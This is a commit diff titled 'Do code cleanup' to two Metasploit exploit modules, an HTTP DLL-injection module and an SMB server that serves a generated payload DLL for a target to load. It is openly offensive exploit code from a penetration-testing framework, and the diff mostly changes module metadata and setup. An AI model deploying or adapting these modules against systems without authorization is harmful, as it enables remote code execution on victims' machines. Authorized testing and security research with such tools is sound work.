Do code cleanup

Author: jvazquez-r7

modules/exploits/windows/http/generic_http_dll_injection.rb

@@ -29,6 +29,11 @@ def initialize(info={})
       'Privileged'     => false,
       'Arch'           => [ARCH_X86, ARCH_X86_64],
       'Stance'         => Msf::Exploit::Stance::Aggressive,
+      'Payload'        =>
+        {
+          'Space'       => 2048,
+          'DisableNops' => true
+        },
       'References'     =>
         [
           ['CWE', '427']

modules/exploits/windows/smb/dllserver.rb

@@ -1,60 +1,67 @@
 ##
-# This module requires Metasploit: http//metasploit.com/download
+# This module requires Metasploit: http://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-# This is an example implementation of using the 
-# Msf::Exploit::Remote::SMBFileServer module
-# to serve an arbitrary DLL over SMB
-
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
+  Rank = ManualRanking
+
   include Msf::Exploit::Remote::SMB::Server::Share
   include Msf::Exploit::EXE
 
   def initialize(info={})
     super(update_info(info,
-      'Name'          => 'SMB DLL Server',
+      'Name'          => 'Generic DLL Injection From Shared Resource',
       'Description'   => %q{
         This is an example implementation of using the SMBFileServer module
         to serve an arbitrary DLL over SMB.
         This module will sit around waiting for a DLL to be loaded,
         for instance by the "payload/windows/loadlibrary" module.
       },
-      'Author'      => [
-        'Matthew Hall <[email protected]>',
-      ],
-      'DisclosureDate' => 'Mar 05 2014',
-      'Platform'       => 'win',
-      'Privileged'     => true,
-      'Arch'         => ARCH_X86,
+      'Author'      =>
+        [
+          'Matthew Hall <hallm[at]sec-1.com>'
+        ],
       'References'     =>
         [
-          [ 'URL', 'http://www.sec-1.com/blog/'],
+          ['CWE', '114']
         ],
       'DefaultOptions' =>
         {
           'EXITFUNC' => 'thread',
         },
-      'Privileged'     => true,
-      'Platform'       => [ 'win'],
+      'Privileged'     => false,
+      'Platform'       => 'win',
+      'Arch'           => [ARCH_X86, ARCH_X86_64],
+      'Payload'        =>
+        {
+          'Space'       => 2048,
+          'DisableNops' => true
+        },
       'Targets'        =>
         [
           [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
           [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
         ],
-      'DefaultTarget'  => 0, # Default target is 32-bit 
-      ))
-      register_options(
-        [
-          OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll'])
-        ], self.class)
-      deregister_options('FILE_CONTENTS')
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Mar 04 2015'
+    ))
+
+    register_options(
+      [
+        OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)'])
+      ], self.class)
+
+    deregister_options('FILE_CONTENTS')
   end
 
-  def primer 
+  def setup
+    super
+
     self.file_contents = generate_payload_dll
+    self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
     print_status("File available on #{unc}...")
   end